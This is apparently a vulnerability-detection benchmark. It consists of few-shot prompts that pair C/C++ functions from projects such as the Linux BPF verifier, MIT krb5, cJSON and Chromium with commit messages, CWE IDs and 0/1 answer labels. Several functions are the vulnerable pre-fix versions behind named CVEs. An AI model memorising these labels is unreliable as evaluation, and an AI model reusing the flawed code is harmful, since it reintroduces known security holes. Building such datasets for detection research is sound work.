Signed-off-by: Hannes Frederic Sowa <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-20 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: xsltStylePreCompute(xsltStylesheetPtr style, xmlNodePtr inst) { /* * URGENT TODO: Normally inst->psvi Should never be reserved here, * BUT: since if we include the same stylesheet from * multiple imports, then the stylesheet will be parsed * again. We simply must not try to compute the stylesheet again. * TODO: Get to the point where we don't need to query the * namespace- and local-name of the node, but can evaluate this * using cctxt->style->inode->category; */ if ((inst == NULL) || (inst->type != XML_ELEMENT_NODE) || (inst->psvi != NULL)) return; if (IS_XSLT_ELEM(inst)) { xsltStylePreCompPtr cur; if (IS_XSLT_NAME(inst, "apply-templates")) { xsltCheckInstructionElement(style, inst); xsltApplyTemplatesComp(style, inst); } else if (IS_XSLT_NAME(inst, "with-param")) { xsltCheckParentElement(style, inst, BAD_CAST "apply-templates", BAD_CAST "call-template"); xsltWithParamComp(style, inst); } else if (IS_XSLT_NAME(inst, "value-of")) { xsltCheckInstructionElement(style, inst); xsltValueOfComp(style, inst); } else if (IS_XSLT_NAME(inst, "copy")) { xsltCheckInstructionElement(style, inst); xsltCopyComp(style, inst); } else if (IS_XSLT_NAME(inst, "copy-of")) { xsltCheckInstructionElement(style, inst); xsltCopyOfComp(style, inst); } else if (IS_XSLT_NAME(inst, "if")) { xsltCheckInstructionElement(style, inst); xsltIfComp(style, inst); } else if (IS_XSLT_NAME(inst, "when")) { xsltCheckParentElement(style, inst, BAD_CAST "choose", NULL); xsltWhenComp(style, inst); } else if (IS_XSLT_NAME(inst, "choose")) { xsltCheckInstructionElement(style, inst); xsltChooseComp(style, inst); } else if (IS_XSLT_NAME(inst, "for-each")) { xsltCheckInstructionElement(style, inst); xsltForEachComp(style, inst); } else if (IS_XSLT_NAME(inst, "apply-imports")) { xsltCheckInstructionElement(style, inst); xsltApplyImportsComp(style, inst); } else if (IS_XSLT_NAME(inst, "attribute")) { xmlNodePtr parent = inst->parent; if ((parent == NULL) || (parent->ns == NULL) || ((parent->ns != inst->ns) && (!xmlStrEqual(parent->ns->href, inst->ns->href))) || (!xmlStrEqual(parent->name, BAD_CAST "attribute-set"))) { xsltCheckInstructionElement(style, inst); } xsltAttributeComp(style, inst); } else if (IS_XSLT_NAME(inst, "element")) { xsltCheckInstructionElement(style, inst); xsltElementComp(style, inst); } else if (IS_XSLT_NAME(inst, "text")) { xsltCheckInstructionElement(style, inst); xsltTextComp(style, inst); } else if (IS_XSLT_NAME(inst, "sort")) { xsltCheckParentElement(style, inst, BAD_CAST "apply-templates", BAD_CAST "for-each"); xsltSortComp(style, inst); } else if (IS_XSLT_NAME(inst, "comment")) { xsltCheckInstructionElement(style, inst); xsltCommentComp(style, inst); } else if (IS_XSLT_NAME(inst, "number")) { xsltCheckInstructionElement(style, inst); xsltNumberComp(style, inst); } else if (IS_XSLT_NAME(inst, "processing-instruction")) { xsltCheckInstructionElement(style, inst); xsltProcessingInstructionComp(style, inst); } else if (IS_XSLT_NAME(inst, "call-template")) { xsltCheckInstructionElement(style, inst); xsltCallTemplateComp(style, inst); } else if (IS_XSLT_NAME(inst, "param")) { if (xsltCheckTopLevelElement(style, inst, 0) == 0) xsltCheckInstructionElement(style, inst); xsltParamComp(style, inst); } else if (IS_XSLT_NAME(inst, "variable")) { if (xsltCheckTopLevelElement(style, inst, 0) == 0) xsltCheckInstructionElement(style, inst); xsltVariableComp(style, inst); } else if (IS_XSLT_NAME(inst, "otherwise")) { xsltCheckParentElement(style, inst, BAD_CAST "choose", NULL); xsltCheckInstructionElement(style, inst); return; } else if (IS_XSLT_NAME(inst, "template")) { xsltCheckTopLevelElement(style, inst, 1); return; } else if (IS_XSLT_NAME(inst, "output")) { xsltCheckTopLevelElement(style, inst, 1); return; } else if (IS_XSLT_NAME(inst, "preserve-space")) { xsltCheckTopLevelElement(style, inst, 1); return; } else if (IS_XSLT_NAME(inst, "strip-space")) { xsltCheckTopLevelElement(style, inst, 1); return; } else if ((IS_XSLT_NAME(inst, "stylesheet")) || (IS_XSLT_NAME(inst, "transform"))) { xmlNodePtr parent = inst->parent; if ((parent == NULL) || (parent->type != XML_DOCUMENT_NODE)) { xsltTransformError(NULL, style, inst, "element %s only allowed only as root element\n", inst->name); style->errors++; } return; } else if (IS_XSLT_NAME(inst, "key")) { xsltCheckTopLevelElement(style, inst, 1); return; } else if (IS_XSLT_NAME(inst, "message")) { xsltCheckInstructionElement(style, inst); return; } else if (IS_XSLT_NAME(inst, "attribute-set")) { xsltCheckTopLevelElement(style, inst, 1); return; } else if (IS_XSLT_NAME(inst, "namespace-alias")) { xsltCheckTopLevelElement(style, inst, 1); return; } else if (IS_XSLT_NAME(inst, "include")) { xsltCheckTopLevelElement(style, inst, 1); return; } else if (IS_XSLT_NAME(inst, "import")) { xsltCheckTopLevelElement(style, inst, 1); return; } else if (IS_XSLT_NAME(inst, "decimal-format")) { xsltCheckTopLevelElement(style, inst, 1); return; } else if (IS_XSLT_NAME(inst, "fallback")) { xsltCheckInstructionElement(style, inst); return; } else if (IS_XSLT_NAME(inst, "document")) { xsltCheckInstructionElement(style, inst); inst->psvi = (void *) xsltDocumentComp(style, inst, (xsltTransformFunction) xsltDocumentElem); } else { xsltTransformError(NULL, style, inst, "xsltStylePreCompute: unknown xsl:%s\n", inst->name); if (style != NULL) style->warnings++; } cur = (xsltStylePreCompPtr) inst->psvi; /* * A ns-list is build for every XSLT item in the * node-tree. This is needed for XPath expressions. */ if (cur != NULL) { int i = 0; cur->nsList = xmlGetNsList(inst->doc, inst); if (cur->nsList != NULL) { while (cur->nsList[i] != NULL) i++; } cur->nsNr = i; } } else { inst->psvi = (void *) xsltPreComputeExtModuleElement(style, inst); /* * Unknown element, maybe registered at the context * level. Mark it for later recognition. */ if (inst->psvi == NULL) inst->psvi = (void *) xsltExtMarker; } } Commit Message: Roll libxslt to 891681e3e948f31732229f53cb6db7215f740fc7 BUG=583156,583171 Review URL: https://codereview.chromium.org/1853083002 Cr-Commit-Position: refs/heads/master@{#385338} CWE ID: CWE-119 Target: 1 Example 2: Code: int ocfs2_truncate_file(struct inode *inode, struct buffer_head *di_bh, u64 new_i_size) { int status = 0; struct ocfs2_dinode *fe = NULL; struct ocfs2_super *osb = OCFS2_SB(inode->i_sb); /* We trust di_bh because it comes from ocfs2_inode_lock(), which * already validated it */ fe = (struct ocfs2_dinode *) di_bh->b_data; trace_ocfs2_truncate_file((unsigned long long)OCFS2_I(inode)->ip_blkno, (unsigned long long)le64_to_cpu(fe->i_size), (unsigned long long)new_i_size); mlog_bug_on_msg(le64_to_cpu(fe->i_size) != i_size_read(inode), "Inode %llu, inode i_size = %lld != di " "i_size = %llu, i_flags = 0x%x\n", (unsigned long long)OCFS2_I(inode)->ip_blkno, i_size_read(inode), (unsigned long long)le64_to_cpu(fe->i_size), le32_to_cpu(fe->i_flags)); if (new_i_size > le64_to_cpu(fe->i_size)) { trace_ocfs2_truncate_file_error( (unsigned long long)le64_to_cpu(fe->i_size), (unsigned long long)new_i_size); status = -EINVAL; mlog_errno(status); goto bail; } down_write(&OCFS2_I(inode)->ip_alloc_sem); ocfs2_resv_discard(&osb->osb_la_resmap, &OCFS2_I(inode)->ip_la_data_resv); /* * The inode lock forced other nodes to sync and drop their * pages, which (correctly) happens even if we have a truncate * without allocation change - ocfs2 cluster sizes can be much * greater than page size, so we have to truncate them * anyway. */ unmap_mapping_range(inode->i_mapping, new_i_size + PAGE_SIZE - 1, 0, 1); truncate_inode_pages(inode->i_mapping, new_i_size); if (OCFS2_I(inode)->ip_dyn_features & OCFS2_INLINE_DATA_FL) { status = ocfs2_truncate_inline(inode, di_bh, new_i_size, i_size_read(inode), 1); if (status) mlog_errno(status); goto bail_unlock_sem; } /* alright, we're going to need to do a full blown alloc size * change. Orphan the inode so that recovery can complete the * truncate if necessary. This does the task of marking * i_size. */ status = ocfs2_orphan_for_truncate(osb, inode, di_bh, new_i_size); if (status < 0) { mlog_errno(status); goto bail_unlock_sem; } status = ocfs2_commit_truncate(osb, inode, di_bh); if (status < 0) { mlog_errno(status); goto bail_unlock_sem; } /* TODO: orphan dir cleanup here. */ bail_unlock_sem: up_write(&OCFS2_I(inode)->ip_alloc_sem); bail: if (!status && OCFS2_I(inode)->ip_clusters == 0) status = ocfs2_try_remove_refcount_tree(inode, di_bh); return status; } Commit Message: ocfs2: should wait dio before inode lock in ocfs2_setattr() we should wait dio requests to finish before inode lock in ocfs2_setattr(), otherwise the following deadlock will happen: process 1 process 2 process 3 truncate file 'A' end_io of writing file 'A' receiving the bast messages ocfs2_setattr ocfs2_inode_lock_tracker ocfs2_inode_lock_full inode_dio_wait __inode_dio_wait -->waiting for all dio requests finish dlm_proxy_ast_handler dlm_do_local_bast ocfs2_blocking_ast ocfs2_generic_handle_bast set OCFS2_LOCK_BLOCKED flag dio_end_io dio_bio_end_aio dio_complete ocfs2_dio_end_io ocfs2_dio_end_io_write ocfs2_inode_lock __ocfs2_cluster_lock ocfs2_wait_for_mask -->waiting for OCFS2_LOCK_BLOCKED flag to be cleared, that is waiting for 'process 1' unlocking the inode lock inode_dio_end -->here dec the i_dio_count, but will never be called, so a deadlock happened. Link: http://lkml.kernel.org/r/[email protected] Signed-off-by: Alex Chen <[email protected]> Reviewed-by: Jun Piao <[email protected]> Reviewed-by: Joseph Qi <[email protected]> Acked-by: Changwei Ge <[email protected]> Cc: Mark Fasheh <[email protected]> Cc: Joel Becker <[email protected]> Cc: Junxiao Bi <[email protected]> Cc: <[email protected]> Signed-off-by: Andrew Morton <[email protected]> Signed-off-by: Linus Torvalds <[email protected]> CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void RenderProcessHostImpl::SetCreateStoragePartitionServiceFunction( CreateStoragePartitionServiceFunction function) { g_create_storage_partition = function; } Commit Message: Correct mojo::WrapSharedMemoryHandle usage Fixes some incorrect uses of mojo::WrapSharedMemoryHandle which were assuming that the call actually has any control over the memory protection applied to a handle when mapped. Where fixing usage is infeasible for this CL, TODOs are added to annotate follow-up work. Also updates the API and documentation to (hopefully) improve clarity and avoid similar mistakes from being made in the future. BUG=792900 Cq-Include-Trybots: master.tryserver.chromium.android:android_optional_gpu_tests_rel;master.tryserver.chromium.linux:linux_optional_gpu_tests_rel;master.tryserver.chromium.mac:mac_optional_gpu_tests_rel;master.tryserver.chromium.win:win_optional_gpu_tests_rel Change-Id: I0578aaa9ca3bfcb01aaf2451315d1ede95458477 Reviewed-on: https://chromium-review.googlesource.com/818282 Reviewed-by: Wei Li <[email protected]> Reviewed-by: Lei Zhang <[email protected]> Reviewed-by: John Abd-El-Malek <[email protected]> Reviewed-by: Daniel Cheng <[email protected]> Reviewed-by: Sadrul Chowdhury <[email protected]> Reviewed-by: Yuzhu Shen <[email protected]> Reviewed-by: Robert Sesek <[email protected]> Commit-Queue: Ken Rockot <[email protected]> Cr-Commit-Position: refs/heads/master@{#530268} CWE ID: CWE-787 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: cJSON *cJSON_CreateStringArray( const char **strings, int count ) { int i; cJSON *n = 0, *p = 0, *a = cJSON_CreateArray(); for ( i = 0; a && i < count; ++i ) { n = cJSON_CreateString( strings[i] ); if ( ! i ) a->child = n; else suffix_object( p, n ); p = n; } return a; } Commit Message: Fix a buffer overflow / heap corruption issue that could occur if a malformed JSON string was passed on the control channel. This issue, present in the cJSON library, was already fixed upstream, so was addressed here in iperf3 by importing a newer version of cJSON (plus local ESnet modifications). Discovered and reported by Dave McDaniel, Cisco Talos. Based on a patch by @dopheide-esnet, with input from @DaveGamble. Cross-references: TALOS-CAN-0164, ESNET-SECADV-2016-0001, CVE-2016-4303 (cherry picked from commit ed94082be27d971a5e1b08b666e2c217cf470a40) Signed-off-by: Bruce A. Mah <[email protected]> CWE ID: CWE-119 Target: 1 Example 2: Code: PanoramiXRenderTriangles(ClientPtr client) { PanoramiXRes *src, *dst; int result = Success, j; REQUEST(xRenderTrianglesReq); char *extra; int extra_len; REQUEST_AT_LEAST_SIZE(xRenderTrianglesReq); VERIFY_XIN_PICTURE(src, stuff->src, client, DixReadAccess); VERIFY_XIN_PICTURE(dst, stuff->dst, client, DixWriteAccess); extra_len = (client->req_len << 2) - sizeof(xRenderTrianglesReq); if (extra_len && (extra = (char *) malloc(extra_len))) { memcpy(extra, stuff + 1, extra_len); FOR_NSCREENS_FORWARD(j) { if (j) memcpy(stuff + 1, extra, extra_len); if (dst->u.pict.root) { int x_off = screenInfo.screens[j]->x; int y_off = screenInfo.screens[j]->y; if (x_off || y_off) { xTriangle *tri = (xTriangle *) (stuff + 1); int i = extra_len / sizeof(xTriangle); while (i--) { tri->p1.x -= x_off; tri->p1.y -= y_off; tri->p2.x -= x_off; tri->p2.y -= y_off; tri->p3.x -= x_off; tri->p3.y -= y_off; tri++; } } } stuff->src = src->info[j].id; stuff->dst = dst->info[j].id; result = (*PanoramiXSaveRenderVector[X_RenderTriangles]) (client); if (result != Success) break; } free(extra); } return result; } Commit Message: CWE ID: CWE-20 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void OffscreenCanvas::Commit(scoped_refptr<CanvasResource> canvas_resource, const SkIRect& damage_rect) { if (!HasPlaceholderCanvas() || !canvas_resource) return; RecordCanvasSizeToUMA( Size(), CanvasRenderingContextHost::HostType::kOffscreenCanvasHost); base::TimeTicks commit_start_time = WTF::CurrentTimeTicks(); current_frame_damage_rect_.join(damage_rect); GetOrCreateResourceDispatcher()->DispatchFrameSync( std::move(canvas_resource), commit_start_time, current_frame_damage_rect_, !RenderingContext()->IsOriginTopLeft() /* needs_vertical_flip */, IsOpaque()); current_frame_damage_rect_ = SkIRect::MakeEmpty(); } Commit Message: Clean up CanvasResourceDispatcher on finalizer We may have pending mojo messages after GC, so we want to drop the dispatcher as soon as possible. Bug: 929757,913964 Change-Id: I5789bcbb55aada4a74c67a28758f07686f8911c0 Reviewed-on: https://chromium-review.googlesource.com/c/1489175 Reviewed-by: Ken Rockot <[email protected]> Commit-Queue: Ken Rockot <[email protected]> Commit-Queue: Fernando Serboncini <[email protected]> Auto-Submit: Fernando Serboncini <[email protected]> Cr-Commit-Position: refs/heads/master@{#635833} CWE ID: CWE-416 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static MagickBooleanType WriteMAPImage(const ImageInfo *image_info,Image *image) { MagickBooleanType status; register const IndexPacket *indexes; register const PixelPacket *p; register ssize_t i, x; register unsigned char *q; size_t depth, packet_size; ssize_t y; unsigned char *colormap, *pixels; /* Open output image file. */ assert(image_info != (const ImageInfo *) NULL); assert(image_info->signature == MagickSignature); assert(image != (Image *) NULL); assert(image->signature == MagickSignature); if (image->debug != MagickFalse) (void) LogMagickEvent(TraceEvent,GetMagickModule(),"%s",image->filename); status=OpenBlob(image_info,image,WriteBinaryBlobMode,&image->exception); if (status == MagickFalse) return(status); (void) TransformImageColorspace(image,sRGBColorspace); /* Allocate colormap. */ if (IsPaletteImage(image,&image->exception) == MagickFalse) (void) SetImageType(image,PaletteType); depth=GetImageQuantumDepth(image,MagickTrue); packet_size=(size_t) (depth/8); pixels=(unsigned char *) AcquireQuantumMemory(image->columns,packet_size* sizeof(*pixels)); packet_size=(size_t) (image->colors > 256 ? 6UL : 3UL); colormap=(unsigned char *) AcquireQuantumMemory(image->colors,packet_size* sizeof(*colormap)); if ((pixels == (unsigned char *) NULL) || (colormap == (unsigned char *) NULL)) ThrowWriterException(ResourceLimitError,"MemoryAllocationFailed"); /* Write colormap to file. */ q=colormap; q=colormap; if (image->colors <= 256) for (i=0; i < (ssize_t) image->colors; i++) { *q++=(unsigned char) ScaleQuantumToChar(image->colormap[i].red); *q++=(unsigned char) ScaleQuantumToChar(image->colormap[i].green); *q++=(unsigned char) ScaleQuantumToChar(image->colormap[i].blue); } else for (i=0; i < (ssize_t) image->colors; i++) { *q++=(unsigned char) (ScaleQuantumToShort(image->colormap[i].red) >> 8); *q++=(unsigned char) (ScaleQuantumToShort(image->colormap[i].red) & 0xff); *q++=(unsigned char) (ScaleQuantumToShort(image->colormap[i].green) >> 8); *q++=(unsigned char) (ScaleQuantumToShort(image->colormap[i].green) & 0xff);; *q++=(unsigned char) (ScaleQuantumToShort(image->colormap[i].blue) >> 8); *q++=(unsigned char) (ScaleQuantumToShort(image->colormap[i].blue) & 0xff); } (void) WriteBlob(image,packet_size*image->colors,colormap); colormap=(unsigned char *) RelinquishMagickMemory(colormap); /* Write image pixels to file. */ for (y=0; y < (ssize_t) image->rows; y++) { p=GetVirtualPixels(image,0,y,image->columns,1,&image->exception); if (p == (const PixelPacket *) NULL) break; indexes=GetVirtualIndexQueue(image); q=pixels; for (x=0; x < (ssize_t) image->columns; x++) { if (image->colors > 256) *q++=(unsigned char) ((size_t) GetPixelIndex(indexes+x) >> 8); *q++=(unsigned char) GetPixelIndex(indexes+x); } (void) WriteBlob(image,(size_t) (q-pixels),pixels); } pixels=(unsigned char *) RelinquishMagickMemory(pixels); (void) CloseBlob(image); return(status); } Commit Message: https://github.com/ImageMagick/ImageMagick/issues/573 CWE ID: CWE-772 Target: 1 Example 2: Code: void HTMLFormControlElement::setFormEnctype(const AtomicString& value) { setAttribute(formenctypeAttr, value); } Commit Message: Form validation: Do not show validation bubble if the page is invisible. BUG=673163 Review-Url: https://codereview.chromium.org/2572813003 Cr-Commit-Position: refs/heads/master@{#438476} CWE ID: CWE-1021 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: spnego_gss_accept_sec_context( OM_uint32 *minor_status, gss_ctx_id_t *context_handle, gss_cred_id_t verifier_cred_handle, gss_buffer_t input_token, gss_channel_bindings_t input_chan_bindings, gss_name_t *src_name, gss_OID *mech_type, gss_buffer_t output_token, OM_uint32 *ret_flags, OM_uint32 *time_rec, gss_cred_id_t *delegated_cred_handle) { OM_uint32 ret, tmpmin, negState; send_token_flag return_token; gss_buffer_t mechtok_in, mic_in, mic_out; gss_buffer_desc mechtok_out = GSS_C_EMPTY_BUFFER; spnego_gss_ctx_id_t sc = NULL; spnego_gss_cred_id_t spcred = NULL; int sendTokenInit = 0, tmpret; mechtok_in = mic_in = mic_out = GSS_C_NO_BUFFER; /* * This function works in three steps: * * 1. Perform mechanism negotiation. * 2. Invoke the negotiated mech's gss_accept_sec_context function * and examine the results. * 3. Process or generate MICs if necessary. * * Step one determines whether the negotiation requires a MIC exchange, * while steps two and three share responsibility for determining when * the exchange is complete. If the selected mech completes in this * call and no MIC exchange is expected, then step 2 will decide. If a * MIC exchange is expected, then step 3 will decide. If an error * occurs in any step, the exchange will be aborted, possibly with an * error token. * * negState determines the state of the negotiation, and is * communicated to the acceptor if a continuing token is sent. * return_token is used to indicate what type of token, if any, should * be generated. */ /* Validate arguments. */ if (minor_status != NULL) *minor_status = 0; if (output_token != GSS_C_NO_BUFFER) { output_token->length = 0; output_token->value = NULL; } if (minor_status == NULL || output_token == GSS_C_NO_BUFFER || context_handle == NULL) return GSS_S_CALL_INACCESSIBLE_WRITE; if (input_token == GSS_C_NO_BUFFER) return GSS_S_CALL_INACCESSIBLE_READ; /* Step 1: Perform mechanism negotiation. */ sc = (spnego_gss_ctx_id_t)*context_handle; spcred = (spnego_gss_cred_id_t)verifier_cred_handle; if (sc == NULL || sc->internal_mech == GSS_C_NO_OID) { /* Process an initial token or request for NegHints. */ if (src_name != NULL) *src_name = GSS_C_NO_NAME; if (mech_type != NULL) *mech_type = GSS_C_NO_OID; if (time_rec != NULL) *time_rec = 0; if (ret_flags != NULL) *ret_flags = 0; if (delegated_cred_handle != NULL) *delegated_cred_handle = GSS_C_NO_CREDENTIAL; if (input_token->length == 0) { ret = acc_ctx_hints(minor_status, context_handle, spcred, &mic_out, &negState, &return_token); if (ret != GSS_S_COMPLETE) goto cleanup; sendTokenInit = 1; ret = GSS_S_CONTINUE_NEEDED; } else { /* Can set negState to REQUEST_MIC */ ret = acc_ctx_new(minor_status, input_token, context_handle, spcred, &mechtok_in, &mic_in, &negState, &return_token); if (ret != GSS_S_COMPLETE) goto cleanup; ret = GSS_S_CONTINUE_NEEDED; } } else { /* Process a response token. Can set negState to * ACCEPT_INCOMPLETE. */ ret = acc_ctx_cont(minor_status, input_token, context_handle, &mechtok_in, &mic_in, &negState, &return_token); if (ret != GSS_S_COMPLETE) goto cleanup; ret = GSS_S_CONTINUE_NEEDED; } /* Step 2: invoke the negotiated mechanism's gss_accept_sec_context * function. */ sc = (spnego_gss_ctx_id_t)*context_handle; /* * Handle mechtok_in and mic_in only if they are * present in input_token. If neither is present, whether * this is an error depends on whether this is the first * round-trip. RET is set to a default value according to * whether it is the first round-trip. */ if (negState != REQUEST_MIC && mechtok_in != GSS_C_NO_BUFFER) { ret = acc_ctx_call_acc(minor_status, sc, spcred, mechtok_in, mech_type, &mechtok_out, ret_flags, time_rec, delegated_cred_handle, &negState, &return_token); } /* Step 3: process or generate the MIC, if the negotiated mech is * complete and supports MICs. */ if (!HARD_ERROR(ret) && sc->mech_complete && (sc->ctx_flags & GSS_C_INTEG_FLAG)) { ret = handle_mic(minor_status, mic_in, (mechtok_out.length != 0), sc, &mic_out, &negState, &return_token); } cleanup: if (return_token == INIT_TOKEN_SEND && sendTokenInit) { assert(sc != NULL); tmpret = make_spnego_tokenInit_msg(sc, 1, mic_out, 0, GSS_C_NO_BUFFER, return_token, output_token); if (tmpret < 0) ret = GSS_S_FAILURE; } else if (return_token != NO_TOKEN_SEND && return_token != CHECK_MIC) { tmpret = make_spnego_tokenTarg_msg(negState, sc ? sc->internal_mech : GSS_C_NO_OID, &mechtok_out, mic_out, return_token, output_token); if (tmpret < 0) ret = GSS_S_FAILURE; } if (ret == GSS_S_COMPLETE) { *context_handle = (gss_ctx_id_t)sc->ctx_handle; if (sc->internal_name != GSS_C_NO_NAME && src_name != NULL) { *src_name = sc->internal_name; sc->internal_name = GSS_C_NO_NAME; } release_spnego_ctx(&sc); } else if (ret != GSS_S_CONTINUE_NEEDED) { if (sc != NULL) { gss_delete_sec_context(&tmpmin, &sc->ctx_handle, GSS_C_NO_BUFFER); release_spnego_ctx(&sc); } *context_handle = GSS_C_NO_CONTEXT; } gss_release_buffer(&tmpmin, &mechtok_out); if (mechtok_in != GSS_C_NO_BUFFER) { gss_release_buffer(&tmpmin, mechtok_in); free(mechtok_in); } if (mic_in != GSS_C_NO_BUFFER) { gss_release_buffer(&tmpmin, mic_in); free(mic_in); } if (mic_out != GSS_C_NO_BUFFER) { gss_release_buffer(&tmpmin, mic_out); free(mic_out); } return ret; } Commit Message: Fix SPNEGO context aliasing bugs [CVE-2015-2695] The SPNEGO mechanism currently replaces its context handle with the mechanism context handle upon establishment, under the assumption that most GSS functions are only called after context establishment. This assumption is incorrect, and can lead to aliasing violations for some programs. Maintain the SPNEGO context structure after context establishment and refer to it in all GSS methods. Add initiate and opened flags to the SPNEGO context structure for use in gss_inquire_context() prior to context establishment. CVE-2015-2695: In MIT krb5 1.5 and later, applications which call gss_inquire_context() on a partially-established SPNEGO context can cause the GSS-API library to read from a pointer using the wrong type, generally causing a process crash. This bug may go unnoticed, because the most common SPNEGO authentication scenario establishes the context after just one call to gss_accept_sec_context(). Java server applications using the native JGSS provider are vulnerable to this bug. A carefully crafted SPNEGO packet might allow the gss_inquire_context() call to succeed with attacker-determined results, but applications should not make access control decisions based on gss_inquire_context() results prior to context establishment. CVSSv2 Vector: AV:N/AC:M/Au:N/C:N/I:N/A:C/E:POC/RL:OF/RC:C [[email protected]: several bugfixes, style changes, and edge-case behavior changes; commit message and CVE description] ticket: 8244 target_version: 1.14 tags: pullup CWE ID: CWE-18 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static int check_alu_op(struct bpf_verifier_env *env, struct bpf_insn *insn) { struct bpf_reg_state *regs = cur_regs(env); u8 opcode = BPF_OP(insn->code); int err; if (opcode == BPF_END || opcode == BPF_NEG) { if (opcode == BPF_NEG) { if (BPF_SRC(insn->code) != 0 || insn->src_reg != BPF_REG_0 || insn->off != 0 || insn->imm != 0) { verbose(env, "BPF_NEG uses reserved fields\n"); return -EINVAL; } } else { if (insn->src_reg != BPF_REG_0 || insn->off != 0 || (insn->imm != 16 && insn->imm != 32 && insn->imm != 64) || BPF_CLASS(insn->code) == BPF_ALU64) { verbose(env, "BPF_END uses reserved fields\n"); return -EINVAL; } } /* check src operand */ err = check_reg_arg(env, insn->dst_reg, SRC_OP); if (err) return err; if (is_pointer_value(env, insn->dst_reg)) { verbose(env, "R%d pointer arithmetic prohibited\n", insn->dst_reg); return -EACCES; } /* check dest operand */ err = check_reg_arg(env, insn->dst_reg, DST_OP); if (err) return err; } else if (opcode == BPF_MOV) { if (BPF_SRC(insn->code) == BPF_X) { if (insn->imm != 0 || insn->off != 0) { verbose(env, "BPF_MOV uses reserved fields\n"); return -EINVAL; } /* check src operand */ err = check_reg_arg(env, insn->src_reg, SRC_OP); if (err) return err; } else { if (insn->src_reg != BPF_REG_0 || insn->off != 0) { verbose(env, "BPF_MOV uses reserved fields\n"); return -EINVAL; } } /* check dest operand */ err = check_reg_arg(env, insn->dst_reg, DST_OP); if (err) return err; if (BPF_SRC(insn->code) == BPF_X) { if (BPF_CLASS(insn->code) == BPF_ALU64) { /* case: R1 = R2 * copy register state to dest reg */ regs[insn->dst_reg] = regs[insn->src_reg]; regs[insn->dst_reg].live |= REG_LIVE_WRITTEN; } else { /* R1 = (u32) R2 */ if (is_pointer_value(env, insn->src_reg)) { verbose(env, "R%d partial copy of pointer\n", insn->src_reg); return -EACCES; } mark_reg_unknown(env, regs, insn->dst_reg); /* high 32 bits are known zero. */ regs[insn->dst_reg].var_off = tnum_cast( regs[insn->dst_reg].var_off, 4); __update_reg_bounds(&regs[insn->dst_reg]); } } else { /* case: R = imm * remember the value we stored into this reg */ regs[insn->dst_reg].type = SCALAR_VALUE; if (BPF_CLASS(insn->code) == BPF_ALU64) { __mark_reg_known(regs + insn->dst_reg, insn->imm); } else { __mark_reg_known(regs + insn->dst_reg, (u32)insn->imm); } } } else if (opcode > BPF_END) { verbose(env, "invalid BPF_ALU opcode %x\n", opcode); return -EINVAL; } else { /* all other ALU ops: and, sub, xor, add, ... */ if (BPF_SRC(insn->code) == BPF_X) { if (insn->imm != 0 || insn->off != 0) { verbose(env, "BPF_ALU uses reserved fields\n"); return -EINVAL; } /* check src1 operand */ err = check_reg_arg(env, insn->src_reg, SRC_OP); if (err) return err; } else { if (insn->src_reg != BPF_REG_0 || insn->off != 0) { verbose(env, "BPF_ALU uses reserved fields\n"); return -EINVAL; } } /* check src2 operand */ err = check_reg_arg(env, insn->dst_reg, SRC_OP); if (err) return err; if ((opcode == BPF_MOD || opcode == BPF_DIV) && BPF_SRC(insn->code) == BPF_K && insn->imm == 0) { verbose(env, "div by zero\n"); return -EINVAL; } if ((opcode == BPF_LSH || opcode == BPF_RSH || opcode == BPF_ARSH) && BPF_SRC(insn->code) == BPF_K) { int size = BPF_CLASS(insn->code) == BPF_ALU64 ? 64 : 32; if (insn->imm < 0 || insn->imm >= size) { verbose(env, "invalid shift %d\n", insn->imm); return -EINVAL; } } /* check dest operand */ err = check_reg_arg(env, insn->dst_reg, DST_OP_NO_MARK); if (err) return err; return adjust_reg_min_max_vals(env, insn); } return 0; } Commit Message: bpf: fix incorrect tracking of register size truncation Properly handle register truncation to a smaller size. The old code first mirrors the clearing of the high 32 bits in the bitwise tristate representation, which is correct. But then, it computes the new arithmetic bounds as the intersection between the old arithmetic bounds and the bounds resulting from the bitwise tristate representation. Therefore, when coerce_reg_to_32() is called on a number with bounds [0xffff'fff8, 0x1'0000'0007], the verifier computes [0xffff'fff8, 0xffff'ffff] as bounds of the truncated number. This is incorrect: The truncated number could also be in the range [0, 7], and no meaningful arithmetic bounds can be computed in that case apart from the obvious [0, 0xffff'ffff]. Starting with v4.14, this is exploitable by unprivileged users as long as the unprivileged_bpf_disabled sysctl isn't set. Debian assigned CVE-2017-16996 for this issue. v2: - flip the mask during arithmetic bounds calculation (Ben Hutchings) v3: - add CVE number (Ben Hutchings) Fixes: b03c9f9fdc37 ("bpf/verifier: track signed and unsigned min/max values") Signed-off-by: Jann Horn <[email protected]> Acked-by: Edward Cree <[email protected]> Signed-off-by: Alexei Starovoitov <[email protected]> Signed-off-by: Daniel Borkmann <[email protected]> CWE ID: CWE-119 Target: 1 Example 2: Code: bool IsStringInDict(const char* string_to_match, const DictionaryValue* dict) { for (DictionaryValue::Iterator it(*dict); !it.IsAtEnd(); it.Advance()) { if (it.key().find(string_to_match) != std::string::npos) return true; std::string value_str; it.value().GetAsString(&value_str); if (value_str.find(string_to_match) != std::string::npos) return true; } const DictionaryValue* args_dict = NULL; dict->GetDictionary("args", &args_dict); if (args_dict) return IsStringInDict(string_to_match, args_dict); return false; } Commit Message: Tracing: Add support for PII whitelisting of individual trace event arguments R=dsinclair,shatch BUG=546093 Review URL: https://codereview.chromium.org/1415013003 Cr-Commit-Position: refs/heads/master@{#356690} CWE ID: CWE-399 Target: 0 